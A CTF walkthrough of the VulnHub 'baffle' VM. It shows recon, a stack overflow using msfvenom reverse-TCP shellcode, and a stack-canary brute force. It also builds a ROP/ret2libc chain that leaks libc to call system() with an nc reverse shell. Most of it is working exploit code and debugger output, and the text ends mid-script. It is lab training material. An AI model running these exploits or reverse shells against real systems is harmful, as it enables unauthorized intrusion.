This is one of the harder VM’s I’ve worked on in a while and it taught me many new skills! Good job putting this one together vulnhub CTF team!

START!

First, some basic enumeration. Found a .git directory on the site that looked interesting so I downloaded it’s contents and took a look at the diffs. I’ve cut a good portion of the output below.

root@kali:~# nmap -p- --min-rate=400 -T4 192.168.1.69

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-12-10 08:42 EST
Nmap scan report for baffle (192.168.1.69)
Host is up (0.0013s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
6969/tcp open  acmsoda
MAC Address: 00:0C:29:D3:61:63 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 4.53 seconds
root@kali:~# 
root@kali:~# 
root@kali:~# curl -s http://192.168.1.69
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>baffle</title>
<link rel="stylesheet" href="styles.css" type="text/css" />
</head>
<body>

<div class="container">

<h1>DC416 : baffle</h1>
<h3>Engagement Rules:</h3>
<ul>
<li>No username/password bruteforcing is necessary</li>
<li>This box has <b>5</b> flags</li>
<li>Flags are in <b>FLAG{}</b> format</li>
<li>The goal is <b>not</b> to get root. Get the flags and move on</li>
<li>Have fun</li>
</ul>

<img class="logo" src="logo.png">

</div>

</body>
</html>
root@kali:~# 
root@kali:~# dirb http://192.168.1.69

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat Dec 10 08:43:19 2016
URL_BASE: http://192.168.1.69/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.1.69/ ----
+ http://192.168.1.69/.git/HEAD (CODE:200|SIZE:23)                                                                                   
                                                                                                                                     
-----------------
END_TIME: Sat Dec 10 08:43:26 2016
DOWNLOADED: 4612 - FOUND: 1
root@kali:~# 
root@kali:/tmp/baffle/192.168.1.69# wget -r -np -k http://192.168.1.69/.git/objects/
--2016-12-10 09:29:06--  http://192.168.1.69/.git/objects/
Connecting to 192.168.1.69:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: ë192.168.1.69/.git/objects/index.htmlí

192.168.1.69/.git/objects/index.h     [ <=>                                                        ]   2.29K  --.-KB/s    in 0s      

...SNIP...

192.168.1.69/.git/objects/e2/0f9a 100%[===========================================================>]      57  --.-KB/s    in 0s      

2016-12-10 09:29:06 (2.87 MB/s) - ë192.168.1.69/.git/objects/e2/0f9a337b6577af20e1d9d2d328d86536bd5086í saved [57/57]

FINISHED --2016-12-10 09:29:06--
Total wall clock time: 0.2s
Downloaded: 40 files, 16K in 0.001s (14.5 MB/s)
Converting links in 192.168.1.69/.git/objects/06/index.html... 2-0
Converting links in 192.168.1.69/.git/objects/pack/index.html... 1-0
Converting links in 192.168.1.69/.git/objects/7e/index.html... 2-0
Converting links in 192.168.1.69/.git/objects/d7/index.html... 2-0
Converting links in 192.168.1.69/.git/objects/d5/index.html... 2-0
Converting links in 192.168.1.69/.git/objects/d1/index.html... 2-0
Converting links in 192.168.1.69/.git/objects/9b/index.html... 2-0
Converting links in 192.168.1.69/.git/objects/10/index.html... 2-0
Converting links in 192.168.1.69/.git/objects/8b/index.html... 2-0
Converting links in 192.168.1.69/.git/objects/7f/index.html... 3-0
Converting links in 192.168.1.69/.git/objects/index.html... 20-1
Converting links in 192.168.1.69/.git/objects/6f/index.html... 2-0
Converting links in 192.168.1.69/.git/objects/21/index.html... 2-0
Converting links in 192.168.1.69/.git/objects/ac/index.html... 2-0
Converting links in 192.168.1.69/.git/objects/91/index.html... 2-0
Converting links in 192.168.1.69/.git/objects/c2/index.html... 2-0
Converting links in 192.168.1.69/.git/objects/e2/index.html... 2-0
Converting links in 192.168.1.69/.git/objects/32/index.html... 2-0
Converting links in 192.168.1.69/.git/objects/info/index.html... 1-0
Converting links in 192.168.1.69/.git/objects/2f/index.html... 2-0
Converting links in 192.168.1.69/.git/objects/d3/index.html... 2-0
Converted links in 21 files in 0.04 seconds.

root@kali:/tmp# git clone 192.168.1.69/.git baffle
Cloning into 'baffle'...
done.
root@kali:/tmp# cd baffle/
root@kali:/tmp/baffle# ls -al
total 16
drwxr-xr-x  3 root root 4096 Dec 11 07:31 .
drwxrwxrwt 14 root root 4096 Dec 11 07:31 ..
drwxr-xr-x  8 root root 4096 Dec 11 07:31 .git
-rw-r--r--  1 root root  616 Dec 11 07:31 hellofriend.c

…SNIP…

commit d38ce2e28e32aa7787d5e8a2cb83d3f75c988eca
Author: alice <alice@baffle.me>
Date:   Mon Oct 17 14:55:07 2016 -0400

    Some assembly required

diff --git a/project.enc b/project.enc
new file mode 100644
index 0000000..7fe355b
--- /dev/null
+++ b/project.enc
@@ -0,0 +1,147 @@
+f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAUAZAAAAAAABAAAAAAAAAAPgYAAAAAAAAAAAAAEAAOAAI
+AEAAHwAcAAYAAAAFAAAAQAAAAAAAAABAAEAAAAAAAEAAQAAAAAAAwAEAAAAAAADAAQAAAAAAAAgA
+AAAAAAAAAwAAAAQAAAAAAgAAAAAAAAACQAAAAAAAAAJAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA
+AAAAAAABAAAABQAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAFwLAAAAAAAAXAsAAAAAAAAAACAA
+AAAAAAEAAAAGAAAAYAsAAAAAAABgC2AAAAAAAGALYAAAAAAAYAIAAAAAAAB4BAAAAAAAAAAAIAAA
+AAAAAgAAAAYAAAB4CwAAAAAAAHgLYAAAAAAAeAtgAAAAAADQAQAAAAAAANABAAAAAAAACAAAAAAA
+AAAEAAAABAAAABwCAAAAAAAAHAJAAAAAAAAcAkAAAAAAAEQAAAAAAAAARAAAAAAAAAAEAAAAAAAA
<Many more lines here>
…SNIP…

Looks like we some interesting code to work with. One I’m particularly interested in is commit d38ce2e28e32aa7787d5e8a2cb83d3f75c988eca. I checked out the commit and recreated the binary from it.

root@kali:/mnt/hgfs/kali64/baffle# git checkout d38ce2e28e32aa7787d5e8a2cb83d3f75c988eca

…SNIP…

HEAD is now at d38ce2e... Some assembly required
root@kali:/mnt/hgfs/kali64/baffle# ls -al
total 15
drwxr-xr-x 1 501 dialout   136 Jan  2  2017 .
drwxr-xr-x 1 501 dialout   544 Jan  2  2017 ..
drwxr-xr-x 1 501 dialout   442 Jan  2  2017 .git
-rw-r--r-- 1 501 dialout   857 Jan  2  2017 hellofriend.c
-rw-r--r-- 1 501 dialout 11315 Jan  2  2017 project.enc
root@kali:/mnt/hgfs/kali64/baffle# 
root@kali:/mnt/hgfs/kali64/baffle# cat project.enc | base64 -d > project
root@kali:/mnt/hgfs/kali64/baffle# 
root@kali:/mnt/hgfs/kali64/baffle# file project
project: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8d8f87535451003b05db15d14d07818576813b49, not stripped
root@kali:/mnt/hgfs/kali64/baffle# 
root@kali:/mnt/hgfs/kali64/baffle# chmod +x project
root@kali:/mnt/hgfs/kali64/baffle# 
root@kali:/mnt/hgfs/kali64/baffle# ./project
test
root@kali:/mnt/hgfs/kali64/baffle# 

So we have something, so let’s see what’s going on.

We can see a couple of compares in the disassembled code.

|          0x004007af    837df401       cmp dword [rbp-local_1_4], 1    ; [0x1:4]=0x2464c45 
|      ,=< 0x004007b3    0f8596000000   jne 0x40084f      

...SNIP...

|     ``-> 0x0040084f    837df402       cmp dword [rbp-local_1_4], 2    ; [0x2:4]=0x102464c 
|    ,===< 0x00400853    0f8597000000   jne 0x4008f0   

When we execute it through ltrace we can see some interesting things. First sending in 0x02 and flag.txt gives us a seg fault, sending in 0x01 and flag.txt seems to be cutting off our flag.txt.

root@kali:/mnt/hgfs/kali64/baffle# python -c'print "\x01"*2 + "flag.txt"' | ltrace ./project
__libc_start_main(0x4008f7, 1, 0x7fffb82dc7b8, 0x400980 <unfinished ...>
setbuf(0x7f7d937ea620, 0)                                                                                                                                                      = <void>
memset(0x7fffb82dbef0, '\0', 2000)                                                                                                                                             = 0x7fffb82dbef0
read(0, "\001\001flag.txt\n", 2000)                                                                                                                                            = 11
memset(0x7fffb82dbac0, '\0', 500)                                                                                                                                              = 0x7fffb82dbac0
memset(0x7fffb82db8b0, '\0', 10)                                                                                                                                               = 0x7fffb82db8b0
memcpy(0x7fffb82dbac0, "fl", 2)                                                                                                                                                = 0x7fffb82dbac0
fopen("fl", "r")                                                                                                                                                               = 0
+++ exited (status 0) +++
root@kali:/mnt/hgfs/kali64/baffle# 
root@kali:/mnt/hgfs/kali64/baffle# python -c'print "\x02"*2 + "flag.txt"' | ltrace ./project
__libc_start_main(0x4008f7, 1, 0x7fffbc7315a8, 0x400980 <unfinished ...>
setbuf(0x7f6c6ccb3620, 0)                                                                                                                                                      = <void>
memset(0x7fffbc730ce0, '\0', 2000)                                                                                                                                             = 0x7fffbc730ce0
read(0, "\002\002flag.txt\n", 2000)                                                                                                                                            = 11
memset(0x7fffbc7308b0, '\0', 500)                                                                                                                                              = 0x7fffbc7308b0
memset(0x7fffbc7306a0, '\0', 10)                                                                                                                                               = 0x7fffbc7306a0
memset(0x7fffbc730ab0, '\0', 500)                                                                                                                                              = 0x7fffbc730ab0
memset(0x600de0, '\0', 500)                                                                                                                                                    = 0x600de0
strlen("flag.txt\n")                                                                                                                                                           = 9
memcpy(0x7fffbc730ab0, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 2000)                                                                            = 0x7fffbc730ab0
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

0x01 was easy enough to get around, I just had to pad flag.txt with some extra spaces.

root@kali:/mnt/hgfs/kali64/baffle# python -c'print "\x01" * 2 + "flag.txt      "' | nc 10.0.1.9 6969
FLAG{is_there_an_ivana_tinkle}

Awesome, we got ourselves our first (second, I’ll explain later) flag.

I played around with this for some time. There is a buffer overflow when you send in 0x01 and 1032 bytes we are able to gain control of the return address, I couldn’t turn this into a shell though as we learn that ASLR is enabled on this host.

root@kali:/mnt/hgfs/kali64/baffle# python -c'print "\x01" * 2 + "/proc/sys/kernel/randomize_va_space      "' | nc 10.0.1.9 6969
2

I had to look for another method to get my shell. I noticed that sending in 0x02 would always result in a seg fault. The cause of this appears to be a memcpy() at the end that is writing 2000 bytes to a portion of the stack 528 bytes from the RBP. As you can see in the output below, the memcpy() is writing 2000 bytes to 0x7fffffffd8a0 which is 528 bytes from the RBP which is 0x7fffffffdab0.

…SNIP…

RBP: 0x7fffffffdab0 --> 0x7fffffffe2b0 --> 0x400980 (<__libc_csu_init>:	push   r15)

…SNIP…
-------------------------------------code-------------------------------------]
   0x4008e0 <parse_request+410>:	mov    edx,0x7d0
   0x4008e5 <parse_request+415>:	mov    rsi,rcx
   0x4008e8 <parse_request+418>:	mov    rdi,rax
=> 0x4008eb <parse_request+421>:	call   0x400620 <memcpy@plt>
   0x4008f0 <parse_request+426>:	mov    eax,0x0
   0x4008f5 <parse_request+431>:	leave  
   0x4008f6 <parse_request+432>:	ret    
   0x4008f7 <main>:	push   rbp
Guessed arguments:
arg[0]: 0x7fffffffd8a0 --> 0x0 
arg[1]: 0x7fffffffdae4 --> 0x0 
arg[2]: 0x7d0 
arg[3]: 0x7fffffffdae4 --> 0x0 

root@kali:/mnt/hgfs/kali64/baffle# python -c'print 0x7fffffffdab0 - 0x7fffffffd8a0'
528

So now we know that we can control the return address in RBP, I nailed down some exact numbers keeping in mind that we had to fill the entire 2000 bytes for memcpy.

python -c'print "\x02\x02\x00" + "A" * 534 + "B" * 8 + "C" * 1464' > input

…SNIP…

RAX: 0x0 
RBX: 0x0 
RCX: 0x7fffffffe040 ('C' <repeats 39 times>, "\220\343\377\377\377\177")
RDX: 0x7fffffffe040 ('C' <repeats 39 times>, "\220\343\377\377\377\177")
RSI: 0x7fffffffdaf9 ('C' <repeats 200 times>...)
RDI: 0x7fffffffd8a0 ('A' <repeats 200 times>...)
RBP: 0x4242424242424242 ('BBBBBBBB')
RSP: 0x7fffffffdab8 ('C' <repeats 200 times>...)
RIP: 0x4008f6 (<parse_request+432>:	ret)
R8 : 0x259 
R9 : 0x249 
R10: 0x239 
R11: 0x7ffff7ac5a10 (<__memcpy_sse2_unaligned>:	mov    rax,rsi)
R12: 0x400650 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe390 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4008eb <parse_request+421>:	call   0x400620 <memcpy@plt>
   0x4008f0 <parse_request+426>:	mov    eax,0x0
   0x4008f5 <parse_request+431>:	leave  
=> 0x4008f6 <parse_request+432>:	ret    
   0x4008f7 <main>:	push   rbp
   0x4008f8 <main+1>:	mov    rbp,rsp
   0x4008fb <main+4>:	sub    rsp,0x7f0
   0x400902 <main+11>:	mov    DWORD PTR [rbp-0x7e4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdab8 ('C' <repeats 200 times>...)
0008| 0x7fffffffdac0 ('C' <repeats 200 times>...)
0016| 0x7fffffffdac8 ('C' <repeats 200 times>...)
0024| 0x7fffffffdad0 ('C' <repeats 200 times>...)
0032| 0x7fffffffdad8 ('C' <repeats 200 times>...)
0040| 0x7fffffffdae0 ('C' <repeats 200 times>...)
0048| 0x7fffffffdae8 ('C' <repeats 200 times>...)
0056| 0x7fffffffdaf0 ('C' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004008f6 in parse_request ()

The next challenge was to find out where to put our shellcode. Luckily, the binary tosses all of our data into a local variable named ‘to_write’ as you can see below.

|    |     0x004008b0    bae00d6000     mov edx, sym.to_write          ; "60802" @ 0x600de0
|    |     0x004008b5    b93e000000     mov ecx, 0x3e                  ; '>'
|    |     0x004008ba    4889d7         mov rdi, rdx
|    |     0x004008bd    4889c6         mov rsi, rax
|    |     0x004008c0    f348a5         rep movsq qword [rdi], qword ptr [rsi]

At this point it was rather simple. We just had to overwrite our return address with that of to_write and were golden.

#!/usr/bin/python

from struct import *

'''
msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.1.60 LPORT=443 -b "\x00\x0a" -f python -v shellcode
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86_64 from the payload
Found 2 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=42, char=0x00)
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 111 (iteration=0)
x64/xor chosen with final size 111
Payload size: 111 bytes
Final size of python file: 620 bytes
'''
shellcode =  ""
shellcode += "\x48\x31\xc9\x48\x81\xe9\xf7\xff\xff\xff\x48\x8d"
shellcode += "\x05\xef\xff\xff\xff\x48\xbb\x51\xe7\x72\x45\x85"
shellcode += "\x2e\x70\xc6\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
shellcode += "\xff\xe2\xf4\x19\xd6\x8d\x2f\x8c\x76\xe9\x70\x41"
shellcode += "\xaf\xfb\x93\xc8\x1f\xb9\xac\x73\xa6\x28\xf7\x82"
shellcode += "\x21\x75\x90\x01\x8d\x5b\x1d\x1c\x44\x72\x99\x3b"
shellcode += "\xe6\x2c\x4a\x80\x66\xe7\x8e\xe8\xe5\x72\x44\x3e"
shellcode += "\x24\x70\xc7\x59\xb6\x3a\xcc\x63\x44\x60\x9c\x3b"
shellcode += "\xcd\x2a\x4a\x80\x77\x2e\x9c\x5e\xe2\x8d\xa3\x85"
shellcode += "\x2e\x70\xc6"

buf =  "\x02\x02\x00"
buf += "\x90" * 20
buf += shellcode
buf += "\x90"*(522-len(shellcode))
buf += pack("<Q", 0x600de0)
buf += "\x90" * 1450

print buf

Simple matter of setting up my multi/handler and piping the output to nc to get a shell as the Alice user.

A bit of poking around and we find yet another binary named flag_vault in /home/bob/filez. This binary read a password from auth.txt to dump the contents of flag.txt. Local testing showed that it would seg fault if auth.txt and flag.txt weren’t available.

Another hint in Alice’s inbox showed that the password for bob was in flag.txt

mail
Mail version 8.1.2 01/15/2001.  Type ? for help.
"/var/mail/alice": 1 message 1 new
>N  1 bob@baffle.me      Thu Jan  2 11:38   21/559   Flag #2
& 1
1
Message 1:
From bob@baffle.me  Thu Jan  2 11:38:22 2014
X-Original-To: alice
From: Bob <bob@baffle.me>
To: alice@baffle.me
Subject: Flag #2
Date: Thu,  2 Jan 2014 11:38:22 -0800 (PST)

Alice,

I need you to login to my account. My password is in /home/bob/flag.txt 
You'll need to authenticate to Flag Vault in order to get its contents. 

-- 
Bob


& 

This one was simple enough to get the flag, a symbolic link to our flag.txt file and our own auth.txt file and we got the password for bob.

alice@baffle:/tmp$ cd /home/alice
cd /home/alice
alice@baffle:/home/alice$ ls -al
ls -al
total 44
drwxr-xr-x 3 alice alice 4096 Dec 19 07:49 .
drwxr-xr-x 6 root  root  4096 Oct 20 03:38 ..
-rw------- 1 alice alice    0 Oct 25 04:20 .bash_history
-rw-r--r-- 1 alice alice  220 Oct 17 15:23 .bash_logout
-rw-r--r-- 1 alice alice 3515 Oct 17 15:23 .bashrc
-rw-r--r-- 1 root  root    29 Oct 20 03:37 .plan
-rw-r--r-- 1 alice alice  675 Oct 17 15:23 .profile
drwx------ 2 root  root  4096 Oct 25 04:21 .ssh
-rwxr-xr-x 1 alice alice 8376 Oct 17 15:24 ctftp
-rw------- 1 alice alice  570 Dec 19 07:49 mbox
alice@baffle:/home/alice$ ln -s ../bob/filez/flag.txt flag.txt
ln -s ../bob/filez/flag.txt flag.txt
alice@baffle:/home/alice$ echo 'password' > auth.txt
echo 'password' > auth.txt
alice@baffle:/home/alice$ ../bob/filez/flag_vault
../bob/filez/flag_vault
______ _                _    _   _             _ _
|  ___| |            /\| |/\| | | |           | | |
| |_  | | __ _  __ _ \ ` ' /| | | | __ _ _   _| | |_
|  _| | |/ _` |/ _` |_     _| | | |/ _` | | | | | __|
| |   | | (_| | (_| |/ , . \\ \_/ / (_| | |_| | | |_
\_|   |_|\__,_|\__, |\/|_|\/ \___/ \__,_|\__,_|_|\__|
                __/ |
               |___/

ENTER YOUR AUTHENTICATION CODE: password
password
CHECKING CODE... CODE IS VALID
DATA: FLAG{tr3each3ry_anD_cUnn1ng}

Now comes the part I am dreading to write. Upon examination of /home/bob/binz we find a ctfingerd binary. I copied the file over to my machine for some testing, looks like it takes a user name as input and reads back the contents of the .plan file from their home directory.

root@kali:/mnt/hgfs/kali64# ./ctfingerd &
[1] 28646
root@kali:/mnt/hgfs/kali64# + bind done
+ waiting for connections...

root@kali:/mnt/hgfs/kali64# nc 127.0.0.1 7979
+ connection accepted
+ back in parent
Socket fd: 4
User to query: root
User to query: plan_loc [/root/.plan]
Checking...
Don't know anything about this user.
---
^C

Little bit of testing and I find I can read any file on the target system, but that doesn’t help me much other then get me another flag.

bob@baffle:/home/alice$ nc 127.0.0.1 7979
Socket fd: 16
User to query: /./././charlie/flag.txt
Checking...
FLAG{i_haz_sriracha_ice_cream}

bob@baffle:/home/alice$ nc 127.0.0.1 7979
Socket fd: 17
User to query: /./././vulnhub/flag.txt
Checking...
Sorry Mario. The flag is in another castle.

So I need to find a way to escalate privileges with this. Much to my demise, I see this in the disassembled code.

0x00400e0c    e82ffbffff     call sym.imp.__stack_chk_fail ;sym.imp.__stack_chk_fail()

That’s right, there is a canary. I did some research and found that we can brute force the canary as it is a static canary, even though the application forks a new process on each connection it inherits the canary from the parent process. This is good, but now we just need to find a way to determine when we have triggered the check fail. Lucky for us, the application gives us a hint.

root@kali:/mnt/hgfs/kali64# nc 127.0.0.1 7979
Socket fd: 8
User to query: root
Checking...
Don't know anything about this user.
---
^C
root@kali:/mnt/hgfs/kali64# python -c'print "A" * 1001' | nc 127.0.0.1 7979
Socket fd: 9
User to query: Checking...
Don't know anything about this user.

…SNIP…

|   |||     0x00400f20    e861fcffff     call sym.query_user ;sym.query_user()
|   |||     0x00400f25    8b45c4         mov eax, dword [rbp-local_7_4]
|   |||     0x00400f28    ba04000000     mov edx, 4
|   |||     0x00400f2d    be1b114000     mov esi, str.____n            ; "---." @ 0x40111b
|   |||     0x00400f32    89c7           mov edi, eax
|   |||     0x00400f34    e8e7f9ffff     call sym.imp.write ;sym.imp.write()

As you can see, if query_user returns to main, then ‘—‘ is written to the socket. With this information, we can quickly find out exactly when we start to trigger the stack protection.

from socket import *
import time

canaryCounter = 990
print "[+] Getting canary offset\n"
while True:
        s = socket(AF_INET, SOCK_STREAM)
        s.connect(("127.0.0.1", 7979))
        rec = s.recv(1024)
        s.send("A"* canaryCounter)
        time.sleep(0.2)
        rec = s.recv(1024)
        s.close()
	if "---" not in rec:
		print("[+] Server response " + rec)
		print("[+] Canary offset: " +str(canaryCounter))
		break
        canaryCounter += 1

canaryCounter = canaryCounter - 1

In the above, we are simply increasing our buffer size until we no longer see ’—‘ in the output, subtract one and we have our offset.

Loaded with this information, we can now brute force the canary. We will overwrite it one byte at a time until we get the full canary.

canaryCounter = canaryCounter - 1
print "[+] Bruteforcing Canary"
canary = ""
for byte in xrange(8):
        for canary_byte in xrange(256):
                hex_byte = chr(canary_byte)
                s = socket(AF_INET, SOCK_STREAM)
                s.connect(("127.0.0.1", 7979))
                s.recv(1024)
                payload = "A" * canaryCounter + canary + hex_byte
                s.send(payload)
                s.recv(1024)
                time.sleep(0.1)
                rec = s.recv(1024)
                s.close()
                if "---" in rec:
                        canary += hex_byte
                        print("[+] Found canary byte: " + hex(canary_byte))
                        print("[*] Canary currently: " + canary.encode("hex"))
                        break
print("[+] Canary found: " + canary.encode("hex"))

Now comes the fun part. Because of ASLR we can’t just overwrite the return address and jump right into our shellcode, and unlike before we don’t have a handy variable containing our shellcode. Instead, we’ll need to use ROP chains to accomplish what we need.

So here is the plan:

  1. Leak address of a library function in the GOT.
  2. Obtain libc’s base address to calculate the address of other library functions. The base address will be the difference between our leaked address and the offset of that address in libc.so.6.
  3. Add offset of system() from libc.so.6 back to the libc base address to get the address of system().
  4. Write our reverse shell to a location in memory that is writable.
  5. Call system() with our reverse shell and reap the rewards.

For stage one, we’ll leak the address of memset(). Note that I had to pull down libc6.so.6 from the target to get all the offsets needed.

  • Get address of write@plt = 0x400920
root@kali:/mnt/hgfs/kali64# objdump -d ./ctfingerd | grep -A5 write@
0000000000400920 <write@plt>:
  400920:	ff 25 8a 0b 20 00    	jmpq   *0x200b8a(%rip)        # 6014b0 <_GLOBAL_OFFSET_TABLE_+0x30>
  400926:	68 03 00 00 00       	pushq  $0x3
  40092b:	e9 b0 ff ff ff       	jmpq   4008e0 <_init+0x20>

… SNIP …

  • Get offset of memset() from libc.so.6 = 0x85620
root@kali:/mnt/hgfs/kali64# readelf -s libc.so.6 | grep memset
    66: 000000000009d850    90 FUNC    GLOBAL DEFAULT   12 wmemset@@GLIBC_2.2.5
   771: 00000000000f7780    16 FUNC    GLOBAL DEFAULT   12 __wmemset_chk@@GLIBC_2.4
   838: 0000000000085620   247 FUNC    GLOBAL DEFAULT   12 memset@@GLIBC_2.2.5
  1383: 0000000000085610     9 FUNC    GLOBAL DEFAULT   12 __memset_chk@@GLIBC_2.3.4
  • Get offset of system() from libc.so.6 = 0x41490
root@kali:/mnt/hgfs/kali64# readelf -s libc.so.6 | grep system
   223: 0000000000113ec0    70 FUNC    GLOBAL DEFAULT   12 svcerr_systemerr@@GLIBC_2.2.5
   577: 0000000000041490    45 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
  1337: 0000000000041490    45 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.2.5
  • Get address of memset() in GOT = 0x6014e0
root@kali:/mnt/hgfs/kali64# objdump -R ctfingerd | grep memset
00000000006014e0 R_X86_64_JUMP_SLOT  memset@GLIBC_2.2.5

The other thing we need to do is make sure we are writing back to the correct socket. The developer conveniently gave us the socket FD so we can capture that.

s = socket()
s.connect(("127.0.0.1", 7979))
rec = s.recv(1024)
key = ":"
pre, key, sockFD = rec.partition(':')
key = "\n"
sockFD = sockFD.split(key, 1)[0]
sockFD = sockFD.replace(" ", "")

sockFD = int(sockFD)

Now what we need to do is find some a ROP gadget that will help us leak the address of memset(). What we are looking for is a pop3ret to pop rdi, rsi, and rdx and finally return. Problem is we don’t have a pop3ret but we do have the below.

gdb-peda$ ropsearch 'pop rsi'
Searching for ROP gadget: 'pop rsi' in: binary ranges
0x00401011 : (b'5e415fc3')	pop rsi; pop r15; ret
gdb-peda$ ropsearch 'pop rdi'
Searching for ROP gadget: 'pop rdi' in: binary ranges
0x00401013 : (b'5fc3')	pop rdi; ret
gdb-peda$ ropsearch 'pop rdx'
Searching for ROP gadget: 'pop rdx' in: binary ranges
Not found

So our exploit will look like this now.

  • 0x00 - 0 out the return address
  • 0x00401013 - Address of our pop rdi ; ret. Popping the socketFD into rdi.
  • Socket FD - The socket to write the results back to.
  • 0x00401011 - Address of our pop rsi; pop r15; ret. - Will address of memset() into rsi and some junk in r15.
  • 0x6014e0 - Address of memset() in the GOT.
  • 0x00 - Junk for r15
  • 0x400920 - Address of write@plt

So at this point we will pop the socketFD into rdi , the address of memset() in the GOT into rsi and some junk into r15. At that point we will call write() which will write back the address of memset() in libc to us.

We can use that to calculate the libc base and the final address of system() with some simple math. So I present to you the stage 1 code.

memset_got = 0x6014e0
memset_libc_offset = 0x85620
system_libc_offset = 0x41490

write_plt = 0x400920
read_plt = 0x4009b0

poprdi = 0x00401013
poprsi = 0x00401011


# Stage 1: leak memset() libc address using write@pld
payload = "A" * canaryCounter		# trigger overflow
payload += canary					# insert correct canary
payload += pack("<Q", 0x00)		# overwrite RBP
payload += pack("<Q", poprdi)		# pop rdi
payload += pack("<Q", sockFD)		# stdout to socket
payload += pack("<Q", poprsi)		# pop rsi
payload += pack("<Q", memset_got)	# address to read from
payload += pack("<Q", 0x00)		# junk for r15
payload += pack("<Q", write_plt)	# return to write@plt

s.send(payload)

time.sleep(0.1)
rec = s.recv(1024)
print rec
s.shutdown(1)
s.close()
split = rec.split("\n")

memset_addr = unpack("<Q", split[2][:8])
print"[+] memset() is at: ", hex(memset_addr[0])

libc_base = (memset_addr[0] - memset_libc_offset)
print"[+] libc base is at: ", hex(libc_base)

system_addr = (libc_base + system_libc_offset)
print"[+] sysem() is at: ", hex(system_addr)

Now for stage two we need to save our reverse shell string to a writable location. I’m using a simple nc reverse shell for this one, we’ll use read@plt to read from the socket and save it to a location in memory.

Our new ROP chain will look something like this for Stage 2

  • Canary
  • 0x00 - 0 out the return address
  • 0x00401013 - Address of our pop rdi; ret. Popping the socketFD into RDI
  • Socket FD - The socket to read our reverse shell from
  • 0x00401011 - Address of our pop rsi; pop r15; ret. - Will set the location in memorty to write to.
  • 0x601010 - Memory location to store our reverse shell command.
  • sockFD - Junk for r15
  • 0x4009b0 - Address of read@plt
# Stage 2: Save string to writable location
payload += pack("<Q", poprdi)		# pop rdi
payload += pack("<Q", sockFD)		# socket to read from
payload += pack("<Q", poprsi)		# pop rsi
payload += pack("<Q", 0x601010)		# location to write to
payload += pack("<Q", sockFD)		# junk for r15
payload += pack("<Q", read_plt)		# return to read()

Now for Stage 3, we just need to pop the location of our reverse shell command into RDI and call system()

# Stage 3: call system() with location of string
payload += pack("<Q", poprdi)
payload += pack("<Q", 0x601010)
payload += pack("<Q", system_addr)

So when we put it all together, here is our final exploit code.

from socket import *
import time

canaryCounter = 990
print "[+] Getting canary offset\n"
while True:
        s = socket(AF_INET, SOCK_STREAM)
        s.connect(("127.0.0.1", 7979))
        rec = s.recv(1024)
        s.send("A"* canaryCounter)
        time.sleep(0.2)
        rec = s.recv(1024)
        s.close()
	if "---" not in rec:
		print("[+] Server response " + rec)
		print("[+] Canary offset: " +str(canaryCounter))
		break
        canaryCounter += 1

canaryCounter = canaryCounter - 1
print "[+] Bruteforcing Canary"
canary = ""
for byte in xrange(8):
        for canary_byte in xrange(256):
                hex_byte = chr(canary_byte)
                s = socket(AF_INET, SOCK_STREAM)
                s.connect(("127.0.0.1", 7979))
                s.recv(1024)
                payload = "A" * canaryCounter + canary + hex_byte
                s.send(payload)
                s.recv(1024)
                time.sleep(0.1)
                rec = s.recv(1024)
                s.close()
                if "---" in rec:
                        canary += hex_byte
                        print("[*] Canary currently: " + canary.encode("hex"))
                        break
print("[+] Canary found: " + canary.encode("hex"))

from struct import *

s = socket()
s.connect(("127.0.0.1", 7979))
rec = s.recv(1024)
key = ":"
pre, key, sockFD = rec.partition(':')
key = "\n"
sockFD = sockFD.split(key, 1)[0]
sockFD = sockFD.replace(" ", "")

sockFD = int(sockFD)

memset_got = 0x6014e0
memset_libc_offset = 0x85620
system_libc_offset = 0x41490

write_plt = 0x400920
read_plt = 0x4009b0

poprdi = 0x00401013
poprsi = 0x00401011


# Stage 1: leak memset() libc address using write@pld
payload = "A" * canaryCounter		# trigger overflow
payload += canary			# insert correct cannary
payload += pack("<Q", 0x00)		# overwrite RBP
payload += pack("<Q", poprdi)		# pop rdi
payload += pack("<Q", sockFD)		# stdout to socket
payload += pack("<Q", poprsi)		# pop rsi
payload += pack("<Q", memset_got)	# address to read from
payload += pack("<Q", 0x00)		# junk for r15
payload += pack("<Q", write_plt)	# return to write@plt

s.send(payload)

time.sleep(0.1)
rec = s.recv(1024)
print rec
s.shutdown(1)
s.close()
split = rec.split("\n")

memset_addr = unpack("<Q", split[2][:8])
print"[+] memset() is at: ", hex(memset_addr[0])

libc_base = (memset_addr[0] - memset_libc_offset)
print"[+] libc base is at: ", hex(libc_base)

